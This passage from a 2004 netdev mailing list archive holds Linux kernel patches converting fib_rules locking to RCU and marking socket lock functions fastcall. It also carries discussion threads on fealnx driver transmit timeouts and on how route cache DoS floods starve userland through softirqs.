Content-Length: 1290 Lines: 39 lock_sock and release_sock are no longer inline, but they are called in the critical path of many operations, so it makes sense to use register based fastcall. diff -Nru a/include/net/sock.h b/include/net/sock.h --- a/include/net/sock.h Wed Mar 31 11:13:36 2004 +++ b/include/net/sock.h Wed Mar 31 11:13:36 2004 @@ -561,8 +561,8 @@ extern void __release_sock(struct sock *sk); #define sock_owned_by_user(sk) ((sk)->sk_lock.owner) -extern void lock_sock(struct sock *sk); -extern void release_sock(struct sock *sk); +extern void FASTCALL(lock_sock(struct sock *sk)); +extern void FASTCALL(release_sock(struct sock *sk)); /* BH context may only use the following locking interface. */ #define bh_lock_sock(__sk) spin_lock(&((__sk)->sk_lock.slock)) diff -Nru a/net/core/sock.c b/net/core/sock.c --- a/net/core/sock.c Wed Mar 31 11:13:36 2004 +++ b/net/core/sock.c Wed Mar 31 11:13:36 2004 @@ -1151,7 +1151,7 @@ atomic_set(&sk->sk_refcnt, 1); } -void lock_sock(struct sock *sk) +void fastcall lock_sock(struct sock *sk) { might_sleep(); spin_lock_bh(&(sk->sk_lock.slock)); @@ -1163,7 +1163,7 @@ EXPORT_SYMBOL(lock_sock); -void release_sock(struct sock *sk) +void fastcall release_sock(struct sock *sk) { spin_lock_bh(&(sk->sk_lock.slock)); if (sk->sk_backlog.tail) From shemminger@osdl.org Wed Mar 31 11:28:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 11:29:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VJSvKO018746 for ; Wed, 31 Mar 2004 11:28:58 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2VJSd210073; Wed, 31 Mar 2004 11:28:40 -0800 Date: Wed, 31 Mar 2004 11:28:39 -0800 From: Stephen Hemminger To: "David S. Miller" , Paul McKenney Cc: netdev@oss.sgi.com Subject: [RFC] Use RCU for fib_rules Message-Id: <20040331112839.02e8d4c2@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4392 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 6454 Lines: 262 The IP forwarding rules, uses rwlock when it could use RCU. Don't know if this would help or hurt the recent discussions about large rulesets and DOS attacks. Also, it increases the size of fib_rule slightly. Patch against 2.6.5-rc3 diff -Nru a/net/ipv4/fib_rules.c b/net/ipv4/fib_rules.c --- a/net/ipv4/fib_rules.c Wed Mar 31 11:24:52 2004 +++ b/net/ipv4/fib_rules.c Wed Mar 31 11:24:52 2004 @@ -51,7 +51,7 @@ struct fib_rule { - struct fib_rule *r_next; + struct list_head r_list; atomic_t r_clntref; u32 r_preference; unsigned char r_table; @@ -74,6 +74,7 @@ #endif char r_ifname[IFNAMSIZ]; int r_dead; + struct rcu_head r_rcu; }; static struct fib_rule default_rule = { @@ -84,7 +85,6 @@ }; static struct fib_rule main_rule = { - .r_next = &default_rule, .r_clntref = ATOMIC_INIT(2), .r_preference = 0x7FFE, .r_table = RT_TABLE_MAIN, @@ -92,23 +92,23 @@ }; static struct fib_rule local_rule = { - .r_next = &main_rule, .r_clntref = ATOMIC_INIT(2), .r_table = RT_TABLE_LOCAL, .r_action = RTN_UNICAST, }; -static struct fib_rule *fib_rules = &local_rule; -static rwlock_t fib_rules_lock = RW_LOCK_UNLOCKED; +static LIST_HEAD(fib_rules); +static spinlock_t fib_rules_lock = SPIN_LOCK_UNLOCKED; int inet_rtm_delrule(struct sk_buff *skb, struct nlmsghdr* nlh, void *arg) { struct rtattr **rta = arg; struct rtmsg *rtm = NLMSG_DATA(nlh); - struct fib_rule *r, **rp; + struct fib_rule *r; int err = -ESRCH; - for (rp=&fib_rules; (r=*rp) != NULL; rp=&r->r_next) { + spin_lock_bh(&fib_rules_lock); + list_for_each_entry(r, &fib_rules, r_list) { if ((!rta[RTA_SRC-1] || memcmp(RTA_DATA(rta[RTA_SRC-1]), &r->r_src, 4) == 0) && rtm->rtm_src_len == r->r_src_len && rtm->rtm_dst_len == r->r_dst_len && @@ -125,15 +125,15 @@ if (r == &local_rule) break; - write_lock_bh(&fib_rules_lock); - *rp = r->r_next; + list_del_rcu(&r->r_list); r->r_dead = 1; - write_unlock_bh(&fib_rules_lock); - fib_rule_put(r); + call_rcu(&r->r_rcu, + (void (*)(void *))fib_rule_put, r); err = 0; break; } } + spin_unlock_bh(&fib_rules_lock); return err; } @@ -163,7 +163,7 @@ { struct rtattr **rta = arg; struct rtmsg *rtm = NLMSG_DATA(nlh); - struct fib_rule *r, *new_r, **rp; + struct fib_rule *r, *new_r; unsigned char table_id; if (rtm->rtm_src_len > 32 || rtm->rtm_dst_len > 32 || @@ -221,27 +221,27 @@ memcpy(&new_r->r_tclassid, RTA_DATA(rta[RTA_FLOW-1]), 4); #endif - rp = &fib_rules; + + spin_lock_bh(&fib_rules_lock); + r = list_entry(&fib_rules, struct fib_rule, r_list); if (!new_r->r_preference) { - r = fib_rules; - if (r && (r = r->r_next) != NULL) { - rp = &fib_rules->r_next; + if (!list_empty(&fib_rules)) { + r = list_entry(fib_rules.next, struct fib_rule, r_list); if (r->r_preference) new_r->r_preference = r->r_preference - 1; } } - while ( (r = *rp) != NULL ) { + list_for_each_entry_continue(r, &fib_rules, r_list) { if (r->r_preference > new_r->r_preference) break; - rp = &r->r_next; } - new_r->r_next = r; atomic_inc(&new_r->r_clntref); - write_lock_bh(&fib_rules_lock); - *rp = new_r; - write_unlock_bh(&fib_rules_lock); + + list_add_rcu(&new_r->r_list, &r->r_list); + spin_unlock_bh(&fib_rules_lock); + return 0; } @@ -285,26 +285,30 @@ { struct fib_rule *r; - for (r=fib_rules; r; r=r->r_next) { + rcu_read_lock(); + list_for_each_entry_rcu(r, &fib_rules, r_list) { if (r->r_ifindex == dev->ifindex) { - write_lock_bh(&fib_rules_lock); + spin_lock_bh(&fib_rules_lock); r->r_ifindex = -1; - write_unlock_bh(&fib_rules_lock); + spin_unlock_bh(&fib_rules_lock); } } + rcu_read_unlock(); } static void fib_rules_attach(struct net_device *dev) { struct fib_rule *r; - for (r=fib_rules; r; r=r->r_next) { + rcu_read_lock(); + list_for_each_entry_rcu(r, &fib_rules, r_list) { if (r->r_ifindex == -1 && strcmp(dev->name, r->r_ifname) == 0) { - write_lock_bh(&fib_rules_lock); + spin_lock_bh(&fib_rules_lock); r->r_ifindex = dev->ifindex; - write_unlock_bh(&fib_rules_lock); + spin_unlock_bh(&fib_rules_lock); } } + rcu_read_unlock(); } int fib_lookup(const struct flowi *flp, struct fib_result *res) @@ -318,8 +322,9 @@ FRprintk("Lookup: %u.%u.%u.%u <- %u.%u.%u.%u ", NIPQUAD(flp->fl4_dst), NIPQUAD(flp->fl4_src)); - read_lock(&fib_rules_lock); - for (r = fib_rules; r; r=r->r_next) { + + rcu_read_lock(); + list_for_each_entry_rcu(r, &fib_rules, r_list) { if (((saddr^r->r_src) & r->r_srcmask) || ((daddr^r->r_dst) & r->r_dstmask) || #ifdef CONFIG_IP_ROUTE_TOS @@ -342,10 +347,10 @@ return -ENETUNREACH; default: case RTN_BLACKHOLE: - read_unlock(&fib_rules_lock); + rcu_read_unlock(); return -EINVAL; case RTN_PROHIBIT: - read_unlock(&fib_rules_lock); + rcu_read_unlock(); return -EACCES; } @@ -356,16 +361,18 @@ res->r = policy; if (policy) atomic_inc(&policy->r_clntref); - read_unlock(&fib_rules_lock); + + rcu_read_unlock(); return 0; } if (err < 0 && err != -EAGAIN) { - read_unlock(&fib_rules_lock); + rcu_read_unlock(); return err; } } FRprintk("FAILURE\n"); - read_unlock(&fib_rules_lock); + + rcu_read_unlock(); return -ENETUNREACH; } @@ -391,8 +398,8 @@ } -struct notifier_block fib_rules_notifier = { - .notifier_call =fib_rules_event, +static struct notifier_block fib_rules_notifier = { + .notifier_call = fib_rules_event, }; static __inline__ int inet_fill_rule(struct sk_buff *skb, @@ -444,18 +451,16 @@ int inet_dump_rules(struct sk_buff *skb, struct netlink_callback *cb) { - int idx; + int idx = 0; int s_idx = cb->args[0]; struct fib_rule *r; - read_lock(&fib_rules_lock); - for (r=fib_rules, idx=0; r; r = r->r_next, idx++) { - if (idx < s_idx) - continue; - if (inet_fill_rule(skb, r, cb) < 0) + rcu_read_lock(); + list_for_each_entry_rcu(r, &fib_rules, r_list) { + if (idx++ >= s_idx && inet_fill_rule(skb, r, cb) < 0) break; } - read_unlock(&fib_rules_lock); + rcu_read_unlock(); cb->args[0] = idx; return skb->len; @@ -464,4 +469,10 @@ void __init fib_rules_init(void) { register_netdevice_notifier(&fib_rules_notifier); + + spin_lock_bh(&fib_rules_lock); + list_add_rcu(&local_rule.r_list, &fib_rules); + list_add_rcu(&main_rule.r_list, &local_rule.r_list); + list_add_rcu(&default_rule.r_list, &main_rule.r_list); + spin_unlock_bh(&fib_rules_lock); } From niv@us.ibm.com Wed Mar 31 12:23:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 12:23:58 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VKNlKO023522 for ; Wed, 31 Mar 2004 12:23:54 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VKNZ0Y780004; Wed, 31 Mar 2004 15:23:35 -0500 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VKNWjU087658; Wed, 31 Mar 2004 13:23:33 -0700 Message-ID: <406B2828.7070800@us.ibm.com> Date: Wed, 31 Mar 2004 12:20:56 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: "David S. Miller" , Paul McKenney , netdev@oss.sgi.com Subject: Re: [RFC] Use RCU for fib_rules References: <20040331112839.02e8d4c2@dell_ss3.pdx.osdl.net> In-Reply-To: <20040331112839.02e8d4c2@dell_ss3.pdx.osdl.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4393 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 337 Lines: 18 Stephen Hemminger wrote: > The IP forwarding rules, uses rwlock when it could use RCU. > Don't know if this would help or hurt the recent discussions about > large rulesets and DOS attacks. > > Also, it increases the size of fib_rule slightly. Stephen, Any benchmarks or perf tests that quantify the gain here? thanks, Nivedita From vda@port.imtp.ilyichevsk.odessa.ua Wed Mar 31 12:39:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 12:39:05 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VKcwKO024196 for ; Wed, 31 Mar 2004 12:39:00 -0800 Received: (qmail 17210 invoked by alias); 31 Mar 2004 20:38:53 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 31 Mar 2004 20:38:53 -0000 From: Denis Vlasenko To: Andreas Henriksson Subject: Re: fealnx oopses (with [PATCH]) Date: Wed, 31 Mar 2004 22:38:46 +0200 User-Agent: KMail/1.5.4 Cc: Jeff Garzik , Francois Romieu , Andreas Henriksson , netdev@oss.sgi.com, Denis Vlasenko References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403311839.33202.vda@port.imtp.ilyichevsk.odessa.ua> <20040331192421.GA30048@scream.fjortis.info> In-Reply-To: <20040331192421.GA30048@scream.fjortis.info> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403312238.46835.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4394 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 1917 Lines: 52 Thank you for testing! On Wednesday 31 March 2004 21:24, Andreas Henriksson wrote: > On Wed, Mar 31, 2004 at 06:39:33PM +0200, Denis Vlasenko wrote: > > Ok, here is what I have now. > > > > What we had before: > > original behaviour: Andreas had tx tomeouts, I had fatal oops. > > I had tx-related kernel panic with vanilla driver on my p-166. > > > francois+jgarzik patch: Andreas happy, I had lockup (endless 'Too much > > work') > > with spin_lock_irqsave in start_tx I haven't been able to trigger the > panic on my p3-600 .. (Although, I don't know if it actually fixed the > problem or if it's just harder to trigger on a faster machine.. but I've > been moving ALOT of data so even if it's 10 or 100 times hard I should > have triggered it by now..) > > so jgarzik's patch is enough to make me happy... no more panic but I > still see this which is annoying when trying to do interactive stuff > over the network: > > -- snip -- > NETDEV WATCHDOG: eth1: transmit timed out > eth1: Transmit timed out, status 00000000, resetting... > NETDEV WATCHDOG: eth1: transmit timed out > eth1: Transmit timed out, status 00000000, resetting... > NETDEV WATCHDOG: eth1: transmit timed out > eth1: Transmit timed out, status 00000000, resetting... Is it happens several times in a row? I see the same thing, actually, when my netcat madly spews UDPs, it happens endlessly, until I kill netcat. So, maybe I can cure this too by replacing tx timeout code with code which I use for 'too much work' codepath. > > I modified 'Too much work in interrupt' code. > > I added code which completely stops rx and tx and schedules > > card reset a-la reset previously used in tx_timeout code path. > > There is 1 second delay. > > To me it doesn't seem better nor worse then before... so I guess if it > helps you in any way, good. Yes, you do not trigger this. Your box use original code still living in tx timeout path. -- vda From dipankar@in.ibm.com Wed Mar 31 12:39:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 12:39:44 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VKdeKO024331 for ; Wed, 31 Mar 2004 12:39:40 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i2VKcfFS202842; Wed, 31 Mar 2004 15:38:41 -0500 Received: from soprano.in.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VKco8n097288; Wed, 31 Mar 2004 15:39:00 -0500 Received: by soprano.in.ibm.com (Postfix, from userid 500) id A4CCB7C52A; Thu, 1 Apr 2004 02:07:50 +0530 (IST) Date: Thu, 1 Apr 2004 02:07:50 +0530 From: Dipankar Sarma To: Robert Olsson Cc: Andrea Arcangeli , "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331203750.GB4543@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040331171023.GA4543@in.ibm.com> <16491.4593.718724.277551@robur.slu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16491.4593.718724.277551@robur.slu.se> User-Agent: Mutt/1.4.1i X-archive-position: 4395 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1567 Lines: 38 On Wed, Mar 31, 2004 at 08:46:09PM +0200, Robert Olsson wrote: Content-Description: message body text > Before run > > total droppped tsquz throttl bh_enbl ksoftird irqexit other > 00000000 00000000 00000000 00000000 000000e8 0000017e 00030411 00000000 > 00000000 00000000 00000000 00000000 000000ae 00000277 00030349 00000000 > > After DoS (See description from previous mail) > > total droppped tsquz throttl bh_enbl ksoftird irqexit other > 00164c55 00000000 000021de 00000000 000000fc 0000229f 0003443c 00000000 > 001695e7 00000000 0000224d 00000000 00000162 0000236f 000342f7 00000000 > > So the major part of softirq's are run from irqexit and therefor out of > scheduler control. This even with RX polling (eth0, eth2) We still have > some TX interrupts plus timer interrupts now at 1000Hz. Which probably > reduces the number of softirq's that ksoftirqd runs. So, NAPI or not we get userland stalls due to packetflooding. Looking at some of the old patches we discussed privately, it seems this is what was done earlier - 1. Use rcu-softirq.patch which provides call_rcu_bh() for softirqs only. 2. Limit non-ksoftirqd softirqs - get a measure of userland stall (using an api rcu_grace_period(cpu)) and if it is too long, expire the timeslice of the current process and start sending everything to ksoftirqd. By reducing the softirq time at the back of a hardirq or local_bh_enable(), we should be able to bring a bit more fairness. I am working on the patches, will test and publish later. Thanks Dipankar From dipankar@in.ibm.com Wed Mar 31 12:47:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 12:47:57 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VKlsKO025002 for ; Wed, 31 Mar 2004 12:47:54 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2VKl15w392796; Wed, 31 Mar 2004 15:47:01 -0500 Received: from soprano.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2VKkpjU092682; Wed, 31 Mar 2004 13:46:59 -0700 Received: by soprano.in.ibm.com (Postfix, from userid 500) id B53977C52A; Thu, 1 Apr 2004 02:16:11 +0530 (IST) Date: Thu, 1 Apr 2004 02:16:11 +0530 From: Dipankar Sarma To: Andrea Arcangeli Cc: "David S. Miller" , kuznet@ms2.inr.ac.ru, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Robert.Olsson@data.slu.se, paulmck@us.ibm.com, akpm@osdl.org Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331204611.GC4543@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329222926.GF3808@dualathlon.random> <200403302005.AAA00466@yakov.inr.ac.ru> <20040330211450.GI3808@dualathlon.random> <20040330133000.098761e2.davem@redhat.com> <20040330213742.GL3808@dualathlon.random> <20040330142210.080dbe38.davem@redhat.com> <20040330224902.GM3808@dualathlon.random> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040330224902.GM3808@dualathlon.random> User-Agent: Mutt/1.4.1i X-archive-position: 4396 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1462 Lines: 30 On Wed, Mar 31, 2004 at 12:49:02AM +0200, Andrea Arcangeli wrote: > On Tue, Mar 30, 2004 at 02:22:10PM -0800, David S. Miller wrote: > > Otherwise, keep in mind what I said, and also as Robert mentioned every > > single local_bh_enable() is going to call do_softirq() if the count falls > > to zero. > > I was less concerned about the do_sofitrq in local_bh_enable, since that > runs in a scheduler-aware context, so at least the timeslice is > definitely accounted for and it'll schedule at some point (unlike with > an hardirq flood). Actually the length of the default timeslice matters > too here, lowering the max timeslice to 10msec would certainly reduce > the effect. That is there in my list of things to test. > call_rcu_bh will fix the local_bh_enable too. The only problem with > call_rcu_bh is how to queue the tasklets in every cpu (an IPI sounds > overkill at high frequency, because effectively here we're running the rcu > callbacks in a potential fast path). OTOH if we've to add a spinlock to > queue the tasklet, then we might as well take a spinlock in the routing > cache in the first place (at least for this workload). I don't do any of this. I just have a separate quiescent state counter for softirq RCU. It is incremented for regular quiescent points like cswitch, userland, idle loop as well as at the completion of each softirq handler. call_rcu_bh() uses its own queues. Everything else works like call_rcu(). Thanks Dipankar From jgarzik@pobox.com Wed Mar 31 12:53:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 12:53:40 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VKrOKO025452 for ; Wed, 31 Mar 2004 12:53:27 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B8miA-0002hA-Cr; Wed, 31 Mar 2004 21:53:22 +0100 Message-ID: <406B2FB5.9080302@pobox.com> Date: Wed, 31 Mar 2004 15:53:09 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com CC: Denis Vlasenko , Andreas Henriksson , Francois Romieu Subject: Re: fealnx oopses (with [PATCH]) References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403311839.33202.vda@port.imtp.ilyichevsk.odessa.ua> <20040331192421.GA30048@scream.fjortis.info> <200403312238.46835.vda@port.imtp.ilyichevsk.odessa.ua> In-Reply-To: <200403312238.46835.vda@port.imtp.ilyichevsk.odessa.ua> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4397 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 231 Lines: 11 FYI to those involved, I sent the TX patch upstream. When there is a minimal RX patch people are happy with, let me know... further changes are fine, but I would like to split up the changes as much as is reasonable. Jeff From shemminger@osdl.org Wed Mar 31 13:06:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:06:32 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VL6LKO026242 for ; Wed, 31 Mar 2004 13:06:21 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2VL5f230952; Wed, 31 Mar 2004 13:05:41 -0800 Date: Wed, 31 Mar 2004 13:05:41 -0800 From: Stephen Hemminger To: Nivedita Singhvi Cc: "David S. Miller" , Paul McKenney , netdev@oss.sgi.com Subject: Re: [RFC] Use RCU for fib_rules Message-Id: <20040331130541.4b1e8b0d@dell_ss3.pdx.osdl.net> In-Reply-To: <406B2828.7070800@us.ibm.com> References: <20040331112839.02e8d4c2@dell_ss3.pdx.osdl.net> <406B2828.7070800@us.ibm.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4399 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 572 Lines: 18 On Wed, 31 Mar 2004 12:20:56 -0800 Nivedita Singhvi wrote: > Stephen Hemminger wrote: > > > The IP forwarding rules, uses rwlock when it could use RCU. > > Don't know if this would help or hurt the recent discussions about > > large rulesets and DOS attacks. > > > > Also, it increases the size of fib_rule slightly. > > Stephen, > > Any benchmarks or perf tests that quantify the gain here? No, don't have enough rules or load in this area to cause an impact. But also, I don't have the test environment to really stress this (ie 1000's of rules). From romieu@fr.zoreil.com Wed Mar 31 13:06:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:06:31 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VL6MKO026245 for ; Wed, 31 Mar 2004 13:06:25 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2VL1Qgf010219; Wed, 31 Mar 2004 23:01:26 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2VL1PAu010209; Wed, 31 Mar 2004 23:01:25 +0200 Date: Wed, 31 Mar 2004 23:01:25 +0200 From: Francois Romieu To: Denis Vlasenko Cc: Andreas Henriksson , Jeff Garzik , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040331230125.A9130@electric-eye.fr.zoreil.com> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040330002047.D4744@electric-eye.fr.zoreil.com> <200403300050.42367.vda@port.imtp.ilyichevsk.odessa.ua> <200403300116.41377.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200403300116.41377.vda@port.imtp.ilyichevsk.odessa.ua>; from vda@port.imtp.ilyichevsk.odessa.ua on Tue, Mar 30, 2004 at 01:16:41AM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4398 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 493 Lines: 15 Denis Vlasenko : [...] > I just verified that even if I stop remote netcat, > box does not recover. Console fills with > "Too much work at interrupt, status=0x0020" > 0x0020 is RBU = 0x00000020, /* receive buffer unavailable */ There too much work in my daily interrupt handler as well so this get scheduled for a few days/nights :o) If anything else, I'll probably cook up a nice patch for the current changes once things settle down a bit. -- Ueimor From davem@redhat.com Wed Mar 31 13:11:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 13:12:08 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VLBpKO026990 for ; Wed, 31 Mar 2004 13:11:54 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2VLBj1X020774; Wed, 31 Mar 2004 16:11:45 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2VLBij19489; Wed, 31 Mar 2004 16:11:44 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2VLBN1n024500; Wed, 31 Mar 2004 16:11:23 -0500 Date: Wed, 31 Mar 2004 13:11:07 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: niv@us.ibm.com, Paul.McKenney@us.ibm.com, netdev@oss.sgi.com Subject: Re: [RFC] Use RCU for fib_rules Message-Id: <20040331131107.151005a7.davem@redhat.com> In-Reply-To: <20040331130541.4b1e8b0d@dell_ss3.pdx.osdl.net> References: <20040331112839.02e8d4c2@dell_ss3.pdx.osdl.net> <406B2828.7070800@us.ibm.com> <20040331130541.4b1e8b0d@dell_ss3.pdx.osdl.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4400 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 553 Lines: 13 On Wed, 31 Mar 2004 13:05:41 -0800 Stephen Hemminger wrote: > No, don't have enough rules or load in this area to cause an impact. > But also, I don't have the test environment to really stress this > (ie 1000's of rules). You really don't need 1000's of rules. Every time the routing cache misses, it's going to dive into this code, so on SMP that would show up. You could use stream.c (http://www.securiteam.com/unixfocus/5YP0I000DG.html) as the DoS workload in order to thrash the routing cache and force the rule codepath. From 